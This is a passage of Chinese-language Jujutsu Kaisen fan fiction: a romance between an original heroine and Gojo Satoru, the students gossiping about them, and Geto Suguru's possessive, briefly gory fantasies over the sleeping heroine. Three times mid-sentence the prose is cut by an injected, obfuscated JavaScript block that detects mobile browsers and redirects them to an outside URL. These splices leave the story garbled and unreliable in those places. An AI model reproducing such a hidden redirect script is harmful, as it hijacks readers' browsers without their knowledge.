可下一秒,她被一股更强的力道稳稳拽回去。 五条悟的手扣住她的手腕,把她拉回座椅靠背,动作快得像提前预判。他的掌心直接覆上她腕骨,力道比刚才重了许多。 结月被拽得一怔,心跳“咚”地撞上喉咙口。 太近了。 近到他俯下来的呼吸擦过她耳侧,他温热的呼吸拂过她耳边的肌肤,那瞬间激起蚂蚁般的痒意顺着她的神经末梢爬过头皮。 朝日奈结月不明白为何自己的身体会对他每一次的触碰有如此强烈的反应。 为什么会这样,怎么会这样—— 他的每一次触碰都让她目眩神迷。让她越发不像自己。 她蓦地打了个哆嗦,下意识想抽回手,却被他倏然攥紧,紧到有些吃痛。 她能感觉到他不是故意的。 那一瞬间更像是某种下意识的条件反射——仿佛她是某种日出后会消失的幻觉,要用尽全力去攥紧、去触碰,才能确定她此刻还真实存在他身边。 “……悟君?”她惊诧地唤了声他的名字。 车厢里安静得只剩轮胎重新滚动的细碎声。 那只攥着她的手停在半空里,像是终于意识到自己做了什么。 下一秒——力道松开得极快。 不是慢慢放松,而是像有人突然把某根看不见的弦掐断了,收得干净利落,连余温都像被他一并藏回袖口。 五条悟懒懒地开口,尾音拖得很长:“欸——结月酱怎么突然叫得这么可怜?” 他抬起手,指尖在她手背上轻轻点了一下,像补偿,也像把刚才那道裂缝用玩笑糊上。 “车子太晃了,很危险诶。别乱动啦,结月酱。” 理由荒唐得理直气壮,还倒打一耙。 他这样说着,身体懒散地往后靠回座椅,像把自己重新塞回“没心没肺”的壳里,侧过脸歪头看着她,笑得漫不经心。 “喂!”结月气呼呼地鼓起腮帮。 他看着她的样子,唇角的笑容亮了些,灿烂得刺眼,越来越像那种高中时会故意拽前桌喜欢的女孩子马尾辫的捣蛋鬼。 那个不合时宜的念头再一次涌现:想知道好想知道他以前的样子。 他有初恋女友吗?高中的时候肯定是那种超级受欢迎情书塞满一抽屉的校草吧? 他青春时期喜欢一个样子,一定和现在这样游刃有余的模样判若两人吧? 刚才那种微妙静谧的气氛,就在五条悟过分的笑里被硬生生碾碎。 结月耐心等他笑完,胸口那口憋着的气却迟迟散不掉。她狠了狠心,把那个萦绕在心头许久的问题问了出来: “悟君以前……谈过恋爱吗?” 他像是早就料到她会问,唇角的笑意一点点浮上来,带着熟练的戏谑:“想问很久了吧,结月酱?” “别想再转移话题。”她这次下定决心不被他牵着走。 “好嘛好嘛。”他举起双手做投降状,语气却还是懒洋洋的,“认真起来的结月酱,好凶哦。” “又岔开话题了你!!” 结月盯着他。盯到连自己都没意识到——她是在等他那层轻佻的糖衣裂开,露出里面的东西。 她心下一沉,声音也低了点:“所以悟君以前……的确是喜欢过什么人吗?” 五条悟指尖慢吞吞地勾着眼罩边缘,像故意把那半拍拖得更长一点。 “我说没有——结月酱会信吗?” 她很想信。 但是不敢信。 她缓慢而坚定地摇了摇头。 他看着她的固执,忽然失笑,像是被她逗乐了,可那笑里又有一种说不清的……无奈,甚至有点“被逼到角落”的意味。 “所以啊,”他轻轻叹了一声,像哄人,也像放弃抵抗,“不管我说什么,结月酱都不会信的啦。” “不。”结月很认真地看着他,视线不受控制地在他唇边短暂停了一瞬,又像被烫到似的飞快移开,“只要你说的是你心底认为的真话……就算听起来多离谱,我也会相信。” 鬼使神差的,她向他伸出了自己的小拇指,像个幼稚天真的小学生:“拉钩钩。” 他沉默了两个心跳的节拍。 那一瞬间,他唇角的笑像停住了——只停了一瞬,就又被他重新挂回去,仍旧是那副漫不经心的样子。 “好哦。拉钩钩。” 他笑吟吟地钩住她的小拇指,却没有立刻松开。指腹顺着她的指节轻轻一压,像在确认某个存在感极强的事实——像在确认“你说出口了,就不能反悔”。 然后他抬手捏了捏她的脸颊,力道很轻,像盖章。 “拉钩成立啦。” 在她还来不及反应的时候,他忽然俯身靠近。 距离近得过分——鼻尖几乎擦过她的脸颊。呼吸缠着呼吸,像一场故意的越界。 结月整个人僵住,心跳快到发疼。 “真话啊……”他拖长尾音,像在哄她,又像在逗她。 然后,他用轻飘飘的语气,把一句过分的承诺说得像玩笑。 “在认识结月酱以前?”他像随口想了想,笑得很轻,“嗯……没有哦。” 结月怔住:“从未?” “从未。”他答得太快了,快到像早就写在心里。 她没有细想他的用词——为什么“过去”会被他定义成“认识她以前”。因为逻辑同样成立。 可这份“成立”,却像一根针,轻轻扎进她心里最柔软的地方。 她“腾”地脸红,烫意顺着面部血液流淌向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而是某种更深沉、更安静、更蛮不讲理的目光。 似乎她所有越界的想法、自欺欺人的谎言、深夜的辗转难眠——所有不可言说、难以言喻的,都在那样的目光下,无所遁形。 她喉咙发紧,浑身的血液似乎都嗡的一下被什么无形的火焰点燃了,条件反射地往后躲。然而她刚一动,五条悟就抬手按住她肩头,把她漫不经心按回原位。 动作意外的温柔。 像在照顾她别磕到。 可那股不容置疑的意味,又像在告诉她:别躲。 “结月酱,”他贴近了一点点,声音压低,尾音仍旧懒,“不要乱说这种话啦。” 他像是在训学生,又像是在哄人。 “我会当真的哦。” 结月的指尖瞬间发麻。 她想笑,笑他自恋,笑他过分,笑他又在撩拨她——可她笑不出来。 因为他这句“当真”说得太自然了。自然得像“你说出口了,就会发生”。 红灯结束,车子重新启动,惯性让两人的距离稍稍拉开。结月趁这点空隙猛地抽回手,像终于夺回了主权,迅速把手藏进自己掌心里,指尖却依旧烫。 她努力把语气拉回礼貌:“……到家了,我先下车了。悟君。” “嗯?”五条悟仍在笑,像刚才那点危险从未存在过,“这么快就要跑?” “我没有跑。”她硬撑着抬起下巴。 “有哦。”他像是认认真真地数落她,“结月酱从刚才开始,就一直在逃。” 结月心里一窒。 她正想反驳,车子已经缓缓停靠在路边。 司机回头委婉地礼貌提醒:“地图显示已经到达。应该就是这里了吧。” 结月像抓到救命稻草,立刻去拉车门把手。 可车门没有开。 锁着。 她怔了一下,指尖停住,下一秒才反应过来——是司机的自动锁还没解。 偏偏就在这短短的、尴尬又暧昧的空档里—— 五条悟伸手,从她身后越过来。 他的手臂擦过她肩侧,几乎将她圈进怀里。他按下中控解锁,车门“咔哒”一声轻响,像一枚过分清脆的信号。 而他在她耳侧,慢悠悠补了一句: “结月酱。” “……嗯?” “下车前,先把称呼改对吧。” 她心口一跳,转头就撞上他靠得过近的轮廓。 他低头看她,似笑非笑:“不是悟君哦。” “来,跟着老师读——”摆出一副无良教师的模样,那双过于璀璨而无法分清是炙热还是冰冷的眼底清晰的倒映着此刻她炸毛的模样。 他拖长了每一个音节,语调轻快又悠闲教她读自己的名字。去掉了后缀的名字。 “Sa-to-ru。” 她才不是他的学生呢!! 朝日奈结月几乎是落荒而逃—— 刚刚转过身便听见还没来得及关车门的五条悟迸发出来超过分的开怀大笑。 她的脚步越发仓皇。 只有最亲密的人才会去掉后缀,直呼其名。 要她不加后缀的称呼一个男人,只有两种可能,要么那个人是她非常要好的朋友,比如说杰。 要么那个人,是比好朋友还要更亲密的,另一种‘朋友’。 20.第 20 章 饭店门口分别的时候,虎杖几乎是被乙骨拎着走的。 “乙骨前辈你别拽我!我还没说完!我还没——” “你再回头多看一眼,”乙骨温温和和地提醒,“我怕你今晚就要被加练。” 虎杖立刻闭嘴,仿佛被他乙骨前辈一键静音。走出两步后又忍不住小声嘀咕:“可是结月小姐真的太——太敢说了啊!!” 他们一路回到高专宿舍区,刚进走廊,虎杖的宿舍门口就已经堵了一圈人。 钉崎野蔷薇抱臂靠在墙边,表情写着“你最好给我说清楚”;伏黑惠站在她旁边,没靠墙也没说话,眼神却很实在地落在虎杖身上——都在等一个结果。 胖达探头:“回来了。” 真希挑眉:“说。” 狗卷拉高领子:“鲑鱼。” 虎杖一愣:“你们怎么都在我门口啊?!” 钉崎冷笑一声:“群里直播到一半消失的混蛋还有脸说???” 虎杖:“我哪有!” 伏黑面无表情地补刀:“有。从你在群里说饿死了终于要开始吃饭怎么竟然还有讨厌的西蓝花天妇罗以后就没有下文了。” 虎杖:“……” 他叹了口气,把书包放下,像是早就料到会有这一幕,挠了挠头:“好吧好吧,米娜桑进来吧。关门关门!” 门一关,屋里立刻像开了小型审讯会。 钉崎第一个坐下,开门见山:“从头。吃饭的时候发生了什么。尤其是那位和五条相亲的小姐。” 虎杖瞬间精神了,啪地坐到地上,手舞足蹈开始复盘:“好!我问结月小姐对老师什么印象——” 乙骨在旁边默默坐下,像已经预感到接下来要发生什么,轻轻叹了口气。 虎杖清了清嗓子,学着结月那种认真又毫无杀伤力的语气,字正腔圆地复刻: “她说——五条老师虽然初次见面以为是染白毛带美瞳的涉谷精神小伙,但是现在觉得他分明是眼睛有疾病、很辛苦、需要被保护的高中老师!” “……” 房间里安静了两秒。 钉崎的表情像被当面泼了一杯冰水:“……谁?需要?保护?” 真希:“……” 胖达:“噗——” 狗卷:“……” 伏黑甚至都没抬眼,语气平平:“她眼睛也不好吗。” 虎杖疯狂摆手:“不是不是!她是很认真那种!就是那种——‘悟君辛苦了’‘悟君眼睛很疼吧’那种语气!我当场差点喷饭!我心里在想——结月小姐你到底看见了什么啊!” 钉崎拍桌:“她看见的是白毛帅哥光环吧!滤镜能不能关一下?!” 胖达笑到拍大腿:“哈哈哈哈哈哈哈哈哈哈——” 狗卷憋了半天:“明太子。” 乙骨咳了一声,像是在努力维持高专的最后一点体面:“……她说得很真诚。” “真诚更可怕好吗!”钉崎一脸不可置信:“这种话都说得出口,虎杖你的这位漂亮姐姐对帅哥的耐受度是零吗?” 伏黑淡淡道:“也可能是五条老师今天表现得真的像普通人。” 虎杖猛地指向伏黑:“对!就是这个!伏黑你终于说到重点了!” 他像终于找到同盟一样,语速更快了:“老师今天真的超像普通老师!虽然还是欠揍啦,但那种欠揍很‘普通’!而且结月小姐明显完全相信!完全!” 真希冷冷接话:“继续。别在这儿夸你老师像普通人,听着恶心。” 虎杖:“……” 虎杖赶紧把话拉回正轨:“然后后来姐姐去洗手间的时候,乙骨前辈不是提真希说老师欠我们一顿饭吗?我就想趁机约今天晚上!结果老师笑眯眯地打断——‘不可以哦~’” 他学得惟妙惟肖,甚至抬手比了个欠揍的手势:“‘你们会把结月酱吓跑的。’” 钉崎:“哈?他还挺会替人操心?” 真希:“他那叫操心?那叫挑事。” 伏黑抬眼:“他确实会做这种事。” 虎杖继续爆料:“后来结月小姐还问老师教哪门课。老师想了想,说自己是班主任,算是全科老师吧!然后结月小姐‘哇——’那个眼神你们懂吗?真的崇拜!觉得老师懂得好多!” 钉崎抱臂冷笑:“她不知道他懂得最多的是怎么气人。” 胖达笑得更大声了:“哈哈哈哈哈哈!” 狗卷短促地:“鲑鱼!” 虎杖越讲越顺:“最离谱的是,快走的时候她还问我和乙骨前辈以后想考什么大学——” 钉崎:“噗。” 真希:“……” 胖达:“哈哈哈哈哈哈哈哈哈哈——” 伏黑皱眉:“这问题……正常人会问。” 虎杖抱头:“我们当时整个人僵住了好吗!!我差点脱口而出‘我已经死过一次了还考什么大学’——” 真希抬腿踹了他一下:“闭嘴。” 屋里笑成一团,连伏黑的嘴角都像被迫动了动,很快又恢复成“我不参与但我听到了”的表情。 虎杖趁热打铁总结:“所以结论!结月小姐完全把老师当成普通高中老师!而且是那种——‘眼睛不好需要被保护的辛苦老师’!” 钉崎捂住额头:“我受不了,东京怎么会有这种恋爱脑。” 伏黑语气很轻,却扎得要命:“他们严格意义上来讲只是相亲对象,还没有在一起。” 虎杖的表情慢慢收敛,声音也低了点:“……但是你们不觉得奇怪吗?老师为什么要装成一个普通人啊?和咒术师在一起不就好了吗。” 钉崎的笑停住:“你想说什么。” 虎杖抓了抓头发,像第一次把那种不舒服说出口:“不是那种‘老师今天很欠揍所以很正常’的装普通。是那种……在配合结月小姐的世界观一样的普通。” 伏黑沉默两秒:“但是咒术届的事情确实不能被没有咒力的普通人知道。” “可今天不一样。他演的很认真。”乙骨终于接话,语气温和,话题朝一个让气氛变得愈发微妙的方向转去:“而且最近…我觉得老师沉默的时候变多了。” 胖达咧着嘴的笑慢慢收住疑惑地挠头:“没有吧?” 乙骨点头:“以前出任务的时候,他几乎不会让气氛空下来。会一直说话、一直逗人、一直把节奏抓在手里。” 虎杖愣了下,也反应了过来,疯狂点头:“对!现在有时候在我和学长训练的时候,老师会一个人站在很远的一边,一点表情也没有,表情超可怕!我们问他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227415|196902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他又会立刻笑起来。” 钉崎皱眉:“他还有正经的时候?” 真希的眉心压下来,像是忽然想到了什么:“说起来,还有他拦下来了乙骨去海外任务那件事。” 乙骨指尖顿了一下:“嗯。” 他原本要出国执行委派任务,那种级别的任务五条悟平时从不会拦——甚至会笑嘻嘻地说“去吧去吧,多涨经验哦”。 但那天老师只说了一句:“不行哦。” 语气照旧轻快,笑容照旧欠揍。 可那里面有一种不容商量的东西,像一道线突然勒紧。 伏黑低声:“他很少这么直接。” 钉崎嘴硬:“可能是怕乙骨前辈抢他风头。” 真希瞥她一眼:“闭嘴。” 虎杖也赶紧补一句:“还总让我们俩一起训练……像排课表一样!以前是想练就练,现在是固定的!我感觉自己像被强制补习!” 胖达眯眼:“像在赶进度。” 伏黑淡淡补刀:“你现在才发现自己需要补习?” 虎杖:“伏黑!!” 钉崎翻白眼:“你活该。” 真希冷笑:“他赶进度的时候,一般都没好事。” 狗卷小声:“昆布。” 屋子里安静下来。 刚才那些关于“保护老师”的笑,像泡沫一样一点点破掉,露出底下更硬的东西。 虎杖咽了口唾沫,像还想把话题拽回轻松一点,可嘴巴张开又合上,最后只憋出一句: “可是老师到底在想什么啊……他笑的时候我们看不透,他不笑的时候更看不透。” 乙骨抬眼,目光很稳,却有一种说不清的沉: “看不透才正常。”他说,“老师本来就不会让我们看透。” 他顿了顿,像把更深的一层也说出来: “只是以前他不需要‘沉默’。” ——沉默意味着他在思忖什么事情吧。 ——思忖到连玩笑都暂时不够用了。 钉崎抱臂,嘴上还想硬:“他能算什么,算怎么更欠揍吗?” 可她说这句话的时候,声音没刚才那么亮了。 伏黑移开视线,像不想承认那句潜台词。 胖达也没再开玩笑,只是挠了挠头,低声咕哝:“好烦啊,最强也会变得这么难懂。” 虎杖抱头,声音闷闷的:“结月小姐说老师需要被保护……我本来觉得好好笑。” 他抬起头,咧嘴想笑一下,却没成功。 “现在不知道为什么……突然笑不出来了。” 狗卷看了他一眼:“鲑鱼。” 乙骨轻轻呼出一口气,像把情绪压回去,重新把它塞进“学生该做的事”里: “先训练吧。”他说,“至少我们别成为让他分心的那一个。” 真希“啧”了一声,却没反驳。 钉崎不情不愿地哼了一声:“行啊。反正我也要变强。到时候他要是又突然搞什么谜语人——我就直接揍他。” 伏黑:“你揍不到。” 钉崎:“伏黑惠你闭嘴!!” 虎杖终于被逗得笑出声,但笑声里又带着一点别扭的认真。 “……五条老师到底在想什么啊。”他说。 21.第 21 章 钥匙打开房门,屋里是一片漆黑。窗帘被严丝合缝地拉上,没有一丝月光透进来。 起初,朝日奈结月以为夏油杰并没有在家里等她。 她踢掉脚上的鞋,随手把画板放置在玄关上,刚想伸手打开客厅的大灯,猝不及防的听见了男闺蜜的声音—— “一直没有回消息,真的很让人担心呢,结月酱。”他的声音听起来似乎一如既往的柔和温润,可也许是没有开灯坐在漆黑无光的黑暗里的缘故,总觉得他的语调冰凉凉,透着股冷玉的质感。 “原来你在啊,杰。” 差点被吓得心脏骤停的结月拍了拍胸口,‘啪的’打开灯:“干嘛不开灯呀?” 灯亮的瞬间。 白色的冷光自天花板倾泻而下,像一把毫不留情的刀,将客厅里的一切照得纤毫毕现。 也照出了端坐在沙发上的男人。 黑色长发披散在肩背,发尾垂落在深色的袈裟上,像被夜色浸过的墨。衣襟规整,袖口微垂,他就坐在那里,脊背笔直,却又带着一种近乎松弛的从容。 檀香味在灯亮的一瞬间变得清晰起来。 不是寺庙里那种厚重的焚香气息,而是极淡、极冷的香调,像隔着一层薄雾飘散在空气里。 夏油杰抬起眼。那双狭长的眼睛在光线下显得格外深,像沉入水底的紫曜石。 他没有立刻说话。 只是安静地看着她。 视线在她脸上停了两秒,又缓慢地下移,掠过她略显凌乱的发丝、被风吹得微红的脸颊、还有握在手心里似乎正准备回消息的手机。 然后,才极轻地弯了弯唇角:“欢迎回来,结月。” 夏油杰的声音依旧温和,可那种温和之下,却隐约压着某种冷硬的情绪,像被刻意收敛住的暗流。 结月这才后知后觉地意识到—— 他一直坐在这里。 在没有开灯的情况下。 独自坐在漆黑的客厅里。 等她。 “你这样很吓人欸。”她忍不住小声抱怨了一句,又像是为了缓解尴尬似的补充,“抱歉啦,本来不想麻烦我的相亲对象的,但是因为他已经提前预定支付了我的那一份,所以……” “所以和结月酱今天晚上一吃饭的人,是你的,相亲对象吗?”他的语调依旧温和,清清冷冷的。结月却总觉得自己的男闺蜜今天有哪里好像不太对劲。 他的断句断在了很奇怪的地方。抓的重点也很奇怪。 “对呀。今天迷路的时候我真的还以为完蛋了呢!没想到真的偶遇他了。”结月替自己斟了一杯前几天打开后没喝完的獭祭,顺手为男闺蜜沏了壶茶。 她的脑子还是一团浆糊的状态中,来不及消化五条悟最后的那句话……让她去掉后缀直呼他名字的那句话。 说到她的这位相亲对象,朝日奈结月自己都没有发现,原本有些倦意的神情瞬间就亮了起来。 她坐在夏油杰身边,端着还来不及喝下一口的酒杯,兴致勃勃的完全停不下来。 因为全然的、毫无防备的信任着自己的男闺蜜,朝日奈结月在面对夏油杰的时候总是会不自觉的打开心扉,向他倾诉所有藏匿在心里的那些话,无论多么见不得光。 “杰你知道吗,他真的是完全符合我心目里那个普通,但是又不无趣的理想型男友。” “我觉得哦,他好像也喜欢我。但是!但是!我最讨厌自作多情了。所以,在他正式的向我告白以前,我才不会多想呢。” 男闺蜜似乎还是一如往常把极有耐心,认认真真地凝视着她,安安静静地聆听她说话。 酒杯终于贴上了唇。 獭祭的酒液顺着喉咙滑下去,温度慢慢攀上来,像一层迟钝却诚实的热意,将神经一点点松开。 “可是杰,我觉得……我觉得……” 她又仰起头灌下了一大口酒,闭着眼睛轻蹙着眉头,像是在逼自己吞下什么毒药。 夏油杰就这样安静的、耐心的、像蛰伏在影子里温柔却致命的捕猎者,沉默地凝视着她。 她的皮肤白得像新雪,抬起来的腕子纤细得像灯芯。她放下空荡荡的酒杯,替自己又斟满了一杯,像是不可能承认自己有些微醺了似得,刻意挺直了身子。 他看到她绷紧的颀长颈项,瓷白细腻,宛如一只白天鹅挺直了脖子。 太美好的东西总是会让人忍不住想要去摧毁。 于是他若无其事地移开视线,眼睫微垂,目光却一下子被她放在膝盖上的那只手腕吸引。 准确来说,是她手腕上刺目的鲜红的指印。像是一副雪白的画布沾染上了无法忽视的烙痕。 而朝日奈结月沉浸在自己的思绪里,毫无察觉的继续一吐为快。 在酒精的发酵下,理智层层剥落以后,她终于可以坦诚地面对自己的内心了。 “我好像……有点喜欢他。” 她的眼前浮现出来五条悟那张无懈可击的漂亮面孔,和他唇边悠闲散漫的笑意。 他高挺的鼻尖轻抵住她面颊的触感、温热的呼吸扫过耳边的麻痒、手被他不容置喙握紧的炙热、所有的一切感受感官都在此刻像飓风,将她裹挟吞没。 “好像不只是一点。” “我喜欢他。” “可是我不知道为什么。我……不敢喜欢他。” 男闺蜜沉默的时间有些太久了。她用雾蒙蒙的眼神扫过去,看见了微垂着眼睫正盯着她放在膝盖上的手发呆的夏油杰。 “喂!!杰!我说我喜欢他但是不敢喜欢他你有没有在听啦!!” 她看着她的男闺蜜不疾不徐地看向她,唇边徐徐漾出一抹笑意:“有在听呢。” “所以,杰你觉得——” “不敢喜欢,那就不要喜欢好了。” 头一次,夏油杰打断了她还未说完的话。 结月眨了眨眼睛,像是酒精蒙住了脑子,一时半会儿没听明白他的话:“你说什么?” 于是他极有耐心的又重复了一遍:“不敢喜欢,那就不要喜欢他了,结月酱。” 她的神情怔住了好几秒,想要反驳什么,却不知道该反驳些什么。 “杰,你相信命运吗?”她回过神来,忽然自顾自地笑了起来:“放心啦,我不会自掉身价的去倒追一个男人。” “命运会把他带到我的身边的。”她的声音渐渐轻了下去:“注定要在一起的人,总会相遇的。” “就像我和你一样,对吧,杰?” 她软软地靠在他的肩上,手指习惯性地缠玩从他肩头流泻而下的冰凉凉的发。 *** 酒意终于还是胜过了神经紧绷的清醒。 朝日奈结月的声音渐渐低了下去,断在一个没有说完的尾音里。她靠在他肩上的重量变得真实而柔软,呼吸拉长,均匀,像被潮水托住的小兽。 她睡着了。 夏油杰没有立刻动。 他维持着原来的姿势,任由她的额角贴在自己肩侧,连呼吸的节奏都下意识放缓了几分。 他垂着眼,看着她安睡的面孔。 看了很久。 她睡着的时候比清醒时要乖得多,睫毛在灯光下投下一小片柔软的阴影,眉心不再紧绷,唇角微微放松,像终于卸下了所有防备。 太毫无戒心了。 他抬起手,动作极慢,指腹轻轻挑起垂落在她额前的一缕发丝,绕过指节,替她别到耳后。 指尖擦过她的额头。 温度很低。 他低下头,在那片光洁的额角上落下一个几乎称得上虔诚的吻。 没有情欲,甚至不像是一个吻。 更像是一种烙印,一种无声的宣告,一种试图用自己冰冷的气息覆盖掉所有不该存在的灼热的徒劳尝试。 唇瓣触及的肌肤柔软微凉,他停留的时间比礼仪允许的要长那么一瞬,却又在即将逾越某个界限前,强迫自己离开了。 接下来,他的目光落在了她的手上。 那只曾被他小心握过无数次、画画时执着笔、此刻却无力垂放在膝盖上的手。手腕处,来自另一个男人的指印如同最刺眼的嘲讽,烙在他的视网膜上。 他的眼神骤然沉了下去, 他伸出自己的手,先是轻轻托起她的手腕,指尖在那片红痕上极轻地拂过。然后,他一根、一根,耐心却又不容抗拒地掰开她虚握的手指。 她的手指纤细,指节柔软,在睡梦中毫无抵抗之力。 他的五指,坚定地穿插进去。 十指相扣。 掌心紧密相贴,严丝合缝。他用自己微凉而宽大的手掌,完全包裹住她的手,也将那片碍眼的红色痕迹,彻底地覆盖、吞没在了自己的掌心之下。 他收拢手指,力道并不重,不会弄疼她,却带着一种绝对的、充满占有意味的握紧。仿佛要通过这种方式,抹去另一个存在留下的印记,重新打下属于自己的、无形的烙印。 他就这样握着她的手,保持着十指交缠的姿势,再次抬起眼,凝视着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232904|196902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一无所知的睡颜。 “晚安,结月酱。” 声音落下的瞬间,她没有回应。她的呼吸依旧均匀而绵长,睫毛轻轻颤了一下,又重新归于安静。 她是真的睡熟了。 夏油杰却没有立刻移开视线。 他的目光停留在她的脸上。 太近了。 近到他能清楚地看见她眼睫投下的细小阴影,看见她唇角极轻的起伏,看见她睡着时几乎毫无防备的柔软。 这种毫无防备。 对他而言,是危险的。 他握着她的手的指节,极轻极轻地收紧了一瞬。 不是刻意用力。 更像是一种条件反射。 像是在确认。 确认她仍然在这里。 确认她没有被带走。 确认她还属于这个空间。 属于——他的视线之内。 喉结缓慢地滚动了一下。 一种陌生而失控的情绪,在胸腔深处翻涌。 不是愤怒。 也不是单纯的嫉妒。 更像是一种被遏抑许久的、缓慢的冰冷沸腾的暴戾。 想要做一些很过分的事情。 想要把她这幅妍丽如画的皮囊从里到外的剥开,去品尝她鲜活跳动的心脏、青涩年轻的子宫、珍珠质地的肝脏。 这样她就会完全的、彻底的、属于他,也只能想着他一个人了吧? 他不喜欢这种感觉。 不喜欢“有人已经在她身上留下痕迹”的事实。 不喜欢她带着别人的气息回家。 就算那个人对他而言也是同样的特别的、不可替代的存在。 正因如此,他更不喜欢—— 她总是笑着提起那个人的样子。 夏油杰垂下眼。 目光再次落回两人十指相扣的手上。 他的拇指无意识地,在她手背上极轻地摩挲了一下。 一下。 又一下。 动作缓慢而克制。 像是在反复确认什么,又像是在给自己降温。 他很清楚。 如果此刻再多往前一步。 哪怕只是一点点。 事情就会越过那条他亲手划下的界线。 而他不能。 至少现在不能。 他向来擅长忍耐。 擅长把所有过于浓烈的欲望,压进最深处,封存起来。 就像此刻这样。 就在他准备收回视线的时候—— 靠在他肩上的人,忽然轻轻动了一下。 幅度很小。 像是做了什么梦。 她的眉心微微蹙起,又很快舒展开。 唇瓣轻轻翕动。 气息变得有些紊乱。 夏油杰的动作顿住了。 他下意识地低下头。 下一秒。 一道极轻、极模糊的呢喃,从她唇间溢了出来。 “……Sa……to……ru……” 音节断断续续。 像是被梦境揉碎了。 却清晰得足以让人听懂。 空气,在那一瞬间彻底凝固。 夏油杰的瞳孔,微不可察地收缩了一下。 他没有说话。 也没有任何明显的表情变化。 只是维持着原本的姿势。 安静。 安静得可怕。 指节却在这一刻,缓慢而彻底地收紧。 这一次。 不再是无意识的。 而是清醒的。 克制的。 带着明确指向性的——用力。 像是要把什么东西,死死按回原位。 他垂着眼,看着她毫无所觉的睡颜。 看着她在梦里叫出别人的名字。 胸腔深处,那股原本被压制住的情绪,终于彻底翻涌上来。 冰冷。 浓稠。 带着令人作呕的占有欲。 原来如此。 原来已经到了这种程度。 夏油杰缓缓地、极轻地吐出一口气,像是在调整呼吸,又像是在把某种即将失控的东西,重新锁回笼子里。 他的拇指,最终停在她手腕内侧。 覆盖住那片红痕所在的位置。 完全遮住。 仿佛这样,就能抹去那个名字存在过的痕迹。 22.第 22 章 朝日奈结月在食物诱人的香气里苏醒。 空气里弥漫着刚刚煮好的哥伦比亚咖啡豆的醇香,还有着浓郁的令人食指大动的黄油味。 是金黄酥脆的黄油奶酪吐司!男闺蜜最好了! 结月火速洗漱完,循着食物的香气走进厨房时,男闺蜜正在把颜色质地完美的一颗温泉蛋摆上餐桌。 “哇好贤惠啊杰!!”就算不是第一次吃到男闺蜜的早餐,朝日奈结月还是忍不住眼睛亮盈盈地看向夏油杰,毕竟她只是一个从来不下厨的普通艺术家。 夏油杰失笑着看了她一眼,眉眼弯弯:“早上好,结月酱。” 他若无其事地接了一句:“昨天晚上,做梦了吗?” 结月微微怔了一下。 ——她原本,从来不做梦。直到认识了五条悟。而昨天晚上,她的确做了第二个梦。又是关于他的梦。 “我想去一趟涉谷sky,杰。” 黄油吐司从面包机‘咔哒’跳出来,结月一边往上面涂抹着美乃滋,一边抬头看向餐桌边正在斯斯文文喝着白粥配明太子的男闺蜜,猝不及防地来了一句,却并没有正面回答他的问题。 她拉开一把椅子,坐在他对面,说完这句话以后便低下了头咬了口吐司,不想让他看见她脸上的神情。 ——不想让男闺蜜再为她担心。 “是和昨天晚上的梦,有关吗?”在安静了将近半秒钟的时间后,夏油杰放下了手里的汤匙,很温和地问她。 果然……还是被看透了啊。 结月咬着吐司的动作顿了一下。 黄油在舌尖化开,本该是让人幸福的味道,却在这一刻变得有些发腻。她低着头,没有立刻说话,像是在斟酌从哪里开始讲起。 “……做了个很奇怪的梦。” 她终于开口,语气刻意放得很轻,像是在描述一件无关紧要的小事,“画面其实记不太清了。” 她抬手,用指腹轻轻按了按太阳穴。 “场景是模糊的,人也是……像隔着一层雾。只记得,有一个人——” 她的声音在这里停了一瞬。 像是有什么东西卡在喉咙里。 “——长得很像你。”她勉强笑了一下,“但是额头上……有一道缝合线。” 那道线在梦里并不清晰。 甚至连形状都记不完整。 可那种违和感,却异常强烈。 仿佛那并不是“伤痕”,而是某种不该存在于人身上的标记。 夏油杰没有打断她。 只是安静地听着,视线落在她脸上,却不显得逼迫。 “梦里还有我的相亲对象。”结月继续说下去,语速慢慢变得有些乱,“然后那个长得很像你……简直和你一模一样如果抛开那道缝合线的人,对着我的相亲对象说——” 她说到这里,指尖不自觉地收紧,捏住了吐司边缘。 “‘晚安’。” 晚安,五条悟。 其他所有画面统统都模糊成了老旧斑驳的胶片那样看不清晰。但是却深刻地记住了那句话。还有空气里的味道…… 血。 浓稠的、令人作呕的、生动而腐烂的鲜血和尸体的味道。 “我醒来的时候,心跳得特别快。”她低声说,“那种感觉……不像是做噩梦,更像是被什么东西逼到角落里。” 出离的愤怒。 又深不见底的绝望。 像是明明知道有什么已经发生过,却无论如何都抓不住真相。 她抬起头,看向坐在对面的夏油杰。 “杰,我是不是……在逃避什么?” 这句话问出口的时候,她自己都愣了一下。 “我发现自己其实一直很刻意地避开新宿和涉谷。”她轻声说,“明明是东京最热闹的地方,可每次路线规划到那附近,我都会下意识绕开。” 不是不喜欢。 而是身体先一步做出了回避。 “就好像……”她顿了顿,努力寻找一个准确的词,“就好像那里有什么我承受不了的东西。” 厨房里安静了一瞬。 “所以我才想去涉谷 